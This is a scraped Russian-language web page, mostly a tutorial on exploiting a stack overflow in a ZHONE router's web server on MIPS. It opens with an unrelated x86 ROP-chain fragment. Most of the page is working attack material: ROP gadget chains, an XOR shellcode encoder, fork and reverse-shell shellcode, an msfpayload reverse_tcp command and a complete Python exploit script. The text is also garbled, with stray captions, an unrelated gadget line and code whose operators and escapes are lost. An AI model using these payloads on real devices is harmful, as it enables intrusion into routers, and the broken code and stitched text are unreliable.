r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret ;

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0600);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret;

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0614);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret ecx is ptr to 0

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x81805e); //scratch_space 5e;

r =getUnescape(moduleLoadAddr 0x465f20); //mov eax,dword ptr [ecx]/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc05f4);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(0x42424242); // ptr to fwrite

r =getUnescape(moduleLoadAddr 0x5012b3); //add esp,10h/ret

r =getUnescape(0x43434343); // ptr to start of program

r =getUnescape(0x44444444); // 1

r =getUnescape(0x44444444); // 00008c00

r =getUnescape(0x45454545); // file handle

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1668); // ptr to fclose

r =getUnescape(moduleLoadAddr 0x1dee7); // jmp dword ptr [eax]

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret — Useless?

r =getUnescape(0x45454545);

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x818101); //Loads D.T as a library

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f10c0); // ptr to SleepStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(0x1010101);

r =getUnescape(0x6f004d);

r =getUnescape(0x750064);

r =getUnescape(0x65006c);

ROP_ADD_ESP_4 = 0x20c709bb;

ROP_ADD_ESP_8 = 0x20d7c5ad;

ROP_ADD_ESP_10 = 0x20d022b3;

ROP_ADD_ESP_14 = 0x20cfa63f;

ROP_ADD_ESP_1C = 0x20cec3dd;

ROP_ADD_ESP_3C = 0x2080df51;

XCHG_EAX_ESP = 0x20d18753;

NOP = 0x20801017;

CLR_STACK = 0x20cea9bf;

STACK_PIVOT = 0x2089209e;

Эксплуатация переполнение буфера на архитектурах mips

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2021 года.

Автор: Lyon Yang @l0Op3r

Редактирование и поддержка: Bernhard Mueller

1.       Введение

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2021 года. Более подробную информацию о данной бреши можно найти по адресу http://www.securityfocus.com/archive/1/536666.

Спровоцировать переполнение стека довольно просто при помощи однострочной команды, посылающей слишком большую строку в административную веб-консоль роутера.


GET /<7000 A’s>.cgi HTTP/1.1
<Other HTTP Headers>

2.       Выполнение и отладка эксплоита

Для того чтобы отследить и отладить переполнение стека, мы должны запустить GDBServer на роутере и подцепиться к процессу HTTPD. Ниже указаны инструкции для кросс-компиляции GDBServer.

1.       Загрузка GDB: http://www.gnu.org/software/gdb/download/

2.       Компиляция GDB: /path/to/gdb-src/configure —target=mips-linux-gcc

3.       Компиляция GDBServer: /path/to/gdb-src/gdb/gdbserver/configure —host=mips-linux-gcc

Более подробная информация находится по адресу https://sourceware.org/gdb/wiki/BuildingCrossGDBandGDBserver

На роутере запускаем GDBServer при помощи следующей команды:


./gdbserver –multi <Your Router Gateway IP>:<Any Port number that you want to
use> &

Пример:


./gdbserver –multi 192.168.1.1:1234 &

Далее ищем PID процесса httpd:


ps aux

Анализ вредоносных ROP цепочек

Рисунок 1: Поиск процесса с именем httpd

Чтобы подключить gdb к GDB Server, выполните на вашей машине следующую команду:


./gdb
target extended--‐remote 192.168.1.1:1234
attach <pid of httpd binary>

Анализ вредоносных ROP цепочек

Рисунок 2: Подключение gdb к GDB Server

Как только gdb подцепился к процессу, можно начинать отладку во время переполнения стека. После отсылки GET-запроса, указанного выше, возникает переполнение, а gdb показывает примерно следующее:

Анализ вредоносных ROP цепочек

Рисунок 3: Результаты работы gdb во время переполнения стека

Как следует из рисунка выше, мы успешно перезаписали регистр ‘$ra’ и некоторые другие полезные регистры, например, s0-s7. В архитектуре MIPS регистр ‘$ra’ сохраняет адрес возврата (схож с регистром ‘EIP’). Если мы контролируем этот регистр, то контролируем поток выполнения программы, который можно использовать для выполнения произвольного кода.

Теперь нам нужно определить точные смещения в буфере, позволяющие перезаписать значения в регистрах ‘$s0’-‘$s7’ и ‘$ra’. Мы будем использовать ‘pattern_create.rb’, утилиту идущую в комплекте с Metasploit и позволяющую сгенерировать случайный паттерн и определить смещения к регистрам, которые мы хотим контролировать.

В Kali Linux приложение Metasploit уже установлено, и можно запустить pattern_create.rb следующим образом:


/usr/share/metasploit--‐framework/tools/pattern_create.rb 7000

После генерации заменяем 7 тысяч символов ‘A’ внутри полезной нагрузки на новый паттерн и переполняем стек. Теперь мы можем определить позицию каждого регистра внутри строки, используемой при атаке, посредством копирования значений из регистров в утилиту pattern_create.tb:


/usr/share/metasploit--‐framework/tools/pattern_offset.rb 0x43212322

Более подробную информацию об использовании pattern_create.rb можно узнать по адресу https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/

При помощи корректных смещений мы можем перезаписать регистры более осознанно, как показано на рисунке ниже.

Анализ вредоносных ROP цепочек

Рисунок 4: Повторная перезапись регистров

Теперь нам нужно найти на карте памяти такие сегменты, которые помечены как выполняемые. В случае с архитектурой MIPS обычно не приходится иметь дело с защитами наподобие Data Execution Protection (DEP). В нашем примере стек оказался помеченным на выполнение.

Анализ вредоносных ROP цепочек

Рисунок 5: Перечень сегментов памяти с указанием прав доступа

3.       Некогерентность кэша

В процессе написания эксплоитов для MIPS-устройств зачастую появляются проблемы, связанные с некогерентностью кэша и возникающие в случаях, если шелл код состоит из самомодифицирующихся элементов, например, кодировщика для плохих символов. Во время работы дешифровщика расшифрованные инструкции попадают в кэш данных (и не записываются обратно в память). Но когда выполнение доходит до раскодированной части шелл кода, из кэша инструкций процессор вынимает все еще закодированные инструкции.

Гаджет:  Spider-Man: как проходить испытания Бригадира? |

Анализ вредоносных ROP цепочек

Рисунок 6: Схема взаимодействия памяти, кэша и процессора (источник: http://community.arm.com/groups/processors/blog/2021/02/17/caches-and-self-modifying-code)

Чтобы преодолеть эту проблему, мы должны принудительно вызвать блокирующую функцию (например, «sleep») из библиотеки LibC. Во время «засыпания» процессора произойдет одно или несколько смен контекстов и кэш сбросится. Более подробно о вызове библиотечных функций мы поговорим в следующем разделе, посвященном обходу ASLR.

Если в шелл-коде вы используется кодирование только секции .data (например, имени файла), тогда проблем, связанных с некогерентростью кэша не возникнет, поскольку во время чтения и записи будет обращение только к кэшу данных.

4.       Обход ASLR

При написании эксплоитов довольно часто возникает проблема, связанная с защитой ASLR (Address space layout randomization; рандомизация адресного пространства). ASLR случайным образом выстраивает позиции ключевых областей данных, включая базовый адрес выполняемого файла, позиции библиотек, кучи и стека в адресном пространстве процесса.

Существует два способа обхода ASLR:

1.       Работа с модулями, где не включена защита ASLR. Эти модули будут иметь фиксированный базовый адрес даже при перезапуске процесса или системы.

2.       Использование утечки указателя во время утечки памяти или при наличии других уязвимостей.

Для обхода ASLR мы будем использовать ROP (Return-Oriented Programming; Возвратно-Ориентированное Программирование). ROP – одна из вариаций классической атаки возврата в библиотеку (return-into-libc attack), когда злоумышленник соединяет вместе несколько инструкций или «гаджетов», найденных в памяти процесса.

В нашем случае алгоритм эксплоита будет выглядеть следующим образом:

1.       Поскольку мы контролируем возвратный адрес в регистре ‘$ra’, то можем поместить адрес первого ROP-гаджета в регистр ‘$ra’. Таким образом, мы даем указание процессу httpd на переход по адресу первого ROP-гаджета и выполнение инструкции, находящейся по этому адресу.

2.       Вначале нужно использовать ROP-гаджет для установки значения 1 в регистр $a0 для того, чтобы успешно выполнить функцию sleep.

3.       Второй ROP-гаджет будет запускать функцию sleep, которая хранится в библиотеке LibC.

4.       Третий ROP-гаджет будет сохранять местонахождение стека (где хранится наш шелл-код) в какой-то регистр.

5.       Четвертый и последний ROP-гаджет будет переходить в правильное место внутри стека для выполнения шелл-кода.

Для поиска ROP-гаджетов будем использовать плагин для IDA, написанный Крейгом Хеффнером (Craig Heffner). Более подробную информацию об этом плагине можно найти по адресу https://gadgetmaniac.ru/devttys0/ida/tree/master/plugins/mipsrop

5.       Использование ROP-гаджетов

Вначале мы должны определить, какие использовать ROP-гаджеты и как выстроить цепочку в эксплоите.

ROP-гаджет №1

Первый ROP-гаджет должен устанавливать значение 1 в регистр $a0, а затем переходить к следующему гаджету.

Используем ранее упомянутый плагин для нахождения нужной инструкции:


mipsrop.find(“li $a0, 1”)

Анализ вредоносных ROP цепочек

Рисунок 7: Результат выполнения команды mipsrop.find(“li $a0, 1”)

Мы будем использовать ROP-гаджет по адресу ‘511C8’, показанный ниже.

Анализ вредоносных ROP цепочек

Рисунок 8: Местонахождение первого ROP-гаджета

Так как это наш первый ROP-гаджет, мы должны заменить адрес возврата на адрес ‘511C8’ смещение.

Следующая инструкция, идущая после первого ROP-гаджета, устанавливает значение в регистре $s3 в регистр $t9 и переходит к тому адресу. В нашем эксплоите мы контролируем содержимое регистра $s3.

ROP-гаджет №2

Второй ROP-гаджет должен выполнять функцию sleep() из библиотеки libc.

Вначале необходимо найти адрес функции sleep в бинарном файле библиотеки, извлеченном из роутера Zhone.

Найти адрес функции sleep можно в IDA Pro:

1.       Открываем окно «View Functions».

2.       Ищем по ключевому слову sleep.

Анализ вредоносных ROP цепочек

Рисунок 9: Поиск функции sleep

Обращаем внимание, что функция sleep хранится по адресу 4FFD0.

Далее, чтобы выполнить функцию sleep, нужно при помощи плагина найти ROP-гаджет, содержащий набор инструкций для перехода к адресу, к которому мы захотим.

Используем функцию tails для поиска инструкций move:


mipsrop.tails()

Анализ вредоносных ROP цепочек

Рисунок 10: Результат выполнения команды mipsrop.tails()

После изучения потенциальных кандидатов находим нужный ROP-гаджеты (см. рисунок ниже):

Анализ вредоносных ROP цепочек

Рисунок 11: Блок инструкций для перехода по установленному адресу

Блок кода, показанный выше, осуществляет переход к адресу, находящемуся в регистре $s1.

Далее код берет значение из стека и сохраняет как адрес возврата в регистре $ra. Поскольку мы контролируем ту часть стека, откуда считывается это значение, то можем сделать так, чтобы осуществился переход к следующему ROP-гаджету.

ROP-гаджет №3

Теперь нам нужно найти ROP-гаджет, берущий значение по адресу из стека, который мы контролируем, и сохраняющий данное значение в регистр. Этот трюк нужен для выполнения нашего шелл-кода.

Используем плагин для поиска инструкций, сохраняющих адрес стека в регистре:


mipsrop.stackfinders()

Анализ вредоносных ROP цепочек

Анализ вредоносных ROP цепочек

Рисунок 12: Результат выполнения команды mipsrop.stackfinders()

ROP-гаджет, показанный ниже, выглядит подходящим:

Анализ вредоносных ROP цепочек

Рисунок 13: Подходящий ROP-гаджет, сохраняющий адрес стека в регистре

Следует отметить два момента:

1.       Мы копируем адрес, указывающий на подконтрольную нам часть стека, в регистр $s0: addiu $s0, $sp, 0xA8 var_90.

2.       Мы переходим к четвертому ROP-гаджету через регистр ‘$s1’. В предыдущем ROP-гаджете указатель на стек копировался в регистр $s1: move $t9, $s1; jalr $t9.

ROP-гаджет №4

После того как мы получили адрес, указывающий на шелл-код, в регистре $s01, нам нужен ROP-гаджет, который переходит к регистру $s01.

Используем плагин для поиска нужной инструкции:


mipsrop.find(“move $t9, $s0”)

Анализ вредоносных ROP цепочек

Рисунок 14: Результат выполнения команды mipsrop.find(“move $t9, $s0”)

Анализ вредоносных ROP цепочек

Рисунок 15: Подходящий ROP-гаджет

Теперь у нас есть все необходимые ROP-гаджеты, и мы можем приступать к написанию эксплоита.

6.       Создание эксплоита – Вычисление смещений

Далее нам нужно вычислить конечный адрес для использования с найденными ранее ROP-гаджетами. Это можно сделать, если взглянуть на карту памяти. В нашем случае библиотека libc не защищена ASLR, гаджеты будут находиться по неизменным адресам, а сам эксплоит будет более надежным.

Анализ вредоносных ROP цепочек

Рисунок 16: Карта памяти, относящейся к библиотеке libc

Базовый адрес библиотеки libc: 0x2b259000.

Ниже показаны вычисления конечных адресов для каждого ROP-гаджета:

1.       Первый ROP-гаджет: $ra = 511C8 (первый ROP-гаджет) базовый адрес libc = 0x2B2AA1C8. Этот адрес будет храниться в регистре $ra.

2.       Второй ROP-гаджет: $s3 = 1A95C (второй ROP-гаджет) базовый адрес libc = 0x2b27395c. Этот адрес будет храниться в регистре $s3.

3.       Адрес функции sleep из библиотеки libc: $s1 = 4FFD0 (адрес функции sleep) базовый адрес libc = 0x2b2a8fd0. Этот адрес будет храниться в регистре $s1.

Адреса последних ROP-гаджетов должны храниться в стеке, поскольку будут копироваться из стека в регистр через второй ROP-гаджет.

4.       Третий ROP-гаджет: $ra = 0x28 var_4($sp) = 47EB8 (третий ROP-гаджет) базовый адрес libc = 0x2b2a0eb8. Этот адрес будет храниться по адресу 0x28 var_4($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

5.     Четвертый ROP-гаджет: $s1 = 0x28 var_C($sp) = 1f8c0 (четвертый ROP-гаджет) базовый адрес libc = 0x2b2788c0. Этот адрес будет храниться по адресу 0x28 var_C($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

Результирующая полезная нагрузка выглядит следующим образом:


Полезная нагрузка =
5117 байт Регистр $s0 (NOP)
Регистр $s1 (0x2b2a8fd0)
Регистр $s2 (NOP)
Регистр $s3 (0x2b27395c)
Регистр $s4 - $s7 (NOP)
Регистр $ra (0x2B2AA1C8)
(NOP) * 7
Второй регистр $s1 (0x2b2788c0)
NOP
Второй регистр $ra (0x2b2a0eb8)
NOP * 14
Дешифровщик шелл-кода
Закодированный вызов функции fork()
Закодированный реверсивный шелл-код

Примечание: в полезной нагрузке, показанной выше, инструкция NOP может быть представлена следующим образом:


nor t6,t6,zero
x27x70xc0x01

Написание кодировщика, вызова функции fork и реверсивного шелл-кода мы рассмотрим в следующих разделах.

7.       Создание эксплоита – Написание кодировщика для шелл-кода под архитектуру MIPS

Мы не будем рассматривать в деталях написание шелл-кода под архитектуру MIPS, но рассмотрим написание кодировщика. Для генерации реверсивного шелл-кода под архитектуру MIPS можно использовать модуль ‘msfpayload’, идущий в составе Metasploit.


msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 X

При создании эксплоитов мы часто встречаемся с плохими символами, которые не пригодны к использованию. После многих часов отладки выяснилось, что следующие символы нельзя использовать в эксплоитах:


0x20 0x00 0x3a 0x0a 0x3f

Первым делом мы попробуем закодировать шелл-код при помощи кодировщика Metasploit под архитектуру MIPS без плохих символов:


msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R |
msfencode --‐e mipsbe/longxor --‐b '0x20 0x00 0x3a 0x0a 0x3f' --‐t c

Во время тестов выяснилось, что закодированный шелл-код будет запускаться только с прикрепленным отладчиком. После расследования я решил, что проблема может быть связана с кодировщиком в Metasploit.

Если посмотреть на расшифрованный шелл-код, сгенерированный при помощи модуля msfpayload, то видно только два плохих символа:

Анализ вредоносных ROP цепочек

Рисунок 17: Расшифрованный шелл-код

Таким образом, мы можем добавить еще код, который специально декодирует  эти два символа во время запуска шелл-кода.

Для того чтобы быстро написать шелл-код под архитектуру MIPS, я использовал MIPS-ассемблер и динамический симулятор (runtime simulator). Этот метод мне понравился больше, чем компиляция ассемблерного кода и отладка в gdb.

http://courses.missouristate.edu/KenVollmar/MARS/download.htm

В целях написания простого XOR-кодировщика рассмотрим следующие инструкции:

Инструкция

Описание

li           $t1, 5

Загрузка непосредственного значения ‘5’ в регистр ‘$t1’

la          $s2, 0($sp)

Копирования адреса указателя стека плюс смещение в регистр $s2

lw         $t1, var1

Копирование 4 байт из ‘var1’ в регистр ‘$t1’

Xor       $v1, $t2, $s1

Операция XOR между значениями $t2 и $s1 и помещение результата в регистр $v1

sw       $t1, $s1

Сохранение 4 байт из регистра ‘$t1’ по адресу в регистре ‘$s1’

addi    $t2,$t3, 5

Добавление 5 к регистру $t3 и сохранение результата в регистр $t2

Более подробную информацию о других инструкциях можно найти по адресу http://logos.cs.uic.edu/366/notes/mips quick tutorial.htm

Для того чтобы лучше разобраться с ассемблером для архитектуры MIPS и как работает кодировщик, напишем простой кодировщик для кодирования 4 байт информации. Код, показанный ниже, выполняет операцию XOR между значением по адресу $sp 4 и числом 9999:


#Loads value 9999 into register $s1
li $s1, 9999
#Copy Stack Pointer Address into register $s2
la $s2, 0($sp)
#Takes value 4 bytes after the register $s2 address and copy it into register $t2
lw $t2, 4($s2)
#XOR both values from register $t2 & $s1 and stored it into register $v1
xor $v1, $t2, $s1
#Store XORED value from $v1 into address location at 4 bytes after register $s2
sw $v1, 4($s2)

Однако на скриншоте ниже видно, что если мы скомпилируем кодировщик в базовую форму, появляются пустые байты и плохие символы:

Анализ вредоносных ROP цепочек

Рисунок 18: Ассемблированная версия кодировщика с дополнительными символами

Таким образом, нам нужно модифицировать инструкции шелл-кода так, чтобы в скомпилированной версии не было плохих символов. Код ниже декодирует два плохих байта в нашем шелл-коде:


# Load decimal value 99999999 into register $s2
li $s1, 2576980377
# Copy Stack Pointer Address 1000 bytes into register $s2
la $s2, 1000($sp)
# Adjust Register $s2 (address location) by --‐244
addi $s2, $s2, --‐244
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)
# Move Register by --‐8 bytes to new value to be XORed
addi $s2, $s2, --‐8
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)

8.       Создание эксплоита – Системный вызов fork()

После успешного запуска закодированной полезной нагрузки я обнаружил, что командная строка появляется и тут же умирает. Я предположил, что некоторый процесс, запущенный на устройстве и отвечающий за мониторинг, перезапускает http сервер в случае, если тот перестает подавать признаки жизни. Чтобы предотвратить отключение шелла, в начало шелл-кода я добавил системный вызов fork(). Код ниже отвечает за вызов системной функции fork():


__start:
# Register $s1 = --‐1
li $s1, --‐1
# Start loop here with name ‘loc’
loc:
# Load Register $a0 with value 9999
li $a0, 9999
# Load Register $v0 with value 4166, which is setting syscall as nanosleep
li $v0, 4166
# Execute syscall
syscall 0x40404
# Branch back to loc if $s1 is more than 0
bgtz $s1, loc
# Load Register $s1 with value 4141
li $s1, 4141
# Load Register $v0 with value 4002, which is setting syscall as fork
li $v0, 4002
# Execute syscall
syscall 0x40404
# Jump back to sleep if, this is in parent process
bgtz $v0, loc

После добавления системного вызова fork в начало шелл-кода реверсивный шелл начал работать стабильно.

Анализ вредоносных ROP цепочек

Рисунок 19: Успешное выполнение команды в реверсивном шелле

Итоговый код эксплоита:


import socket
import sys
import struct
import urlparse
import re
import os
host = '192.168.1.1'
#create an INET, STREAMing socket
s = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# --‐ the normal http port
nop = "x27x70xc0x01"
buf = "A"
buf = nop * 1279
#Setup ROP Gadgets Part #1
s0 = nop
### Sleep function Address ###
s1 = "x2bx2ax8fxd0"
##############################
s2 = nop
### 2nd ROP Gadget ###
s3 = "x2bx27x39x5c"
######################
s4 = nop
s5 = nop
s6 = nop
s7 = nop
### 1st ROP Gadget ###
ra = "x2bx2axa1xc8"
######################
#ROP Gadgets Part #2 shellcode
shellcode = nop * 6
### 3rd ROP Gadget ###
# 2nd ROP Gadget will add this as the new $ra
ra2 = "x2bx2ax0exb8"
######################
s0_2 = nop
### 4th ROP Gadget ####
# 2nd ROP Gadget will add this as the new $s1
s1_2 = "x2bx27x88xc0"
#######################
s2_2 = nop
shellcode = s0_2
shellcode = s1_2
shellcode = s2_2
shellcode = ra2
shellcode = nop * 6
sc_encode=("x3cx11x99x99x36x31x99x99x27xb2x03xe8x22x52xffx0cx8e
x4axfex0cx01x51x18x26xaex43xfex0cx22x52xffxf8x8ex4axfex0cx01x
51x18x26xaex43xfex0cx22x52xffx90x8ex4axfex0cx01x51x18x26xaex4
3xfex0c")
#bad character: x1Ex20xFFxFC XOR 99999999 = 87b96665
sc_fork1=("x24x11xFFxFFx24x04x27x0Fx24x02x10x46x01x01x01x0C")
sc_fork_bad=("x87xb9x66x65")
sc_fork2=("x24x11x10x2Dx24x02x0FxA2x01x01x01x0Cx1Cx40xFFxF8")
sc_first=("x24x0fxffxfax01xe0x78x27x21xe4xffxfdx21xe5xff"
"xfdx28x06xffxffx24x02x10x57x01x01x01x0cxafxa2"
"xffxffx8fxa4xffxffx34x0fxffxfdx01xe0x78x27xaf"
"xafxffxe0x3cx0e")
#Port No.
sc_first =("x30x3B")
sc_first =("x35xcex7ax69xafxaexffxe4"
"x3cx0exc0xa8x35xcex01")
#Modify this to change ip address 192.168.1.x
sc_first ="x04"
sc_first =("xafxaexffxe6x27xa5xff"
"xe2x24x0cxffxefx01x80x30x27x24x02x10x4ax01x01"
"x01x0cx24x11xffxfd")
# at position: (15*6 6) /4 = 24
#Original Bytes: "x02x20x88x27"
sc_bad1=("x9bxb9x11xbe")
sc_mid=("x8fxa4xffxff")
#bad character at pos: 24 2
#Original Bytes: "x02x20x28x21"
sc_bad2=("x9bxb9xb1xb8")
sc_last=(
"x24x02x0fxdfx01x01x01x0cx24x10xffxff"
"x22x31xffxffx16x30xffxfax28x06xffxffx3cx0fx2f"
"x2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce"
"x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxaf"
"xa4xffxf8xafxa0xffxfcx27xa5xffxf8x24x02x0fxab"
"x01x01x01x0c")
sc = sc_encode
sc = sc_fork1
sc = sc_fork_bad
sc = sc_fork2
sc = sc_first
sc = sc_bad1
sc = sc_mid
sc = sc_bad2
sc = sc_last
#"xfcx5a xf8xb9")
shellcode = nop * 8
shellcode = sc
print len(sc)
shellcode = nop * ((1852 --‐ 24 --‐ 8 --‐ 8 --‐ 18 --‐ len(sc))/4)
s.connect((host, 80))
s.send("GET /.html")
s.send(buf)
s.send(s0)
s.send(s1)
s.send(s2)
s.send(s3)
s.send(s4)
s.send(s5)
s.send(s6)
s.send(s7)
s.send(ra)
s.send(shellcode)
s.send(".html HTTP/1.1%s" % 'n')
s.send("Host: 192.168.1.1%s" % 'n')
s.send("User--‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20210101 Firefox/35.0%s" % 'n')
s.send("Accept: */*%s" % 'n')
s.send("Accept--‐Language: en--‐US,en;q=0.5%s" % 'n')
s.send("Accept--‐Encoding: gzip, deflate%s" % 'n')
s.send("Referer: http://132.147.82.80/%s" % 'n')
s.send("Authorization: Basic <Encoded password>%s" % 'n')
s.send("Connection: keep--‐alive%s" % 'n')
print "Sent!"
data = (s.recv(1000000))
print "Received :"
print data

Ссылки

https://courses.cs.washington.edu/courses/cse410/09sp/examples/MIPSCallingConventionsSummary.pdf

http://inst.eecs.berkeley.edu/~cs61c/resources/MIPS_Green_Sheet.pdf

Оцените статью
GadgetManiac
Добавить комментарий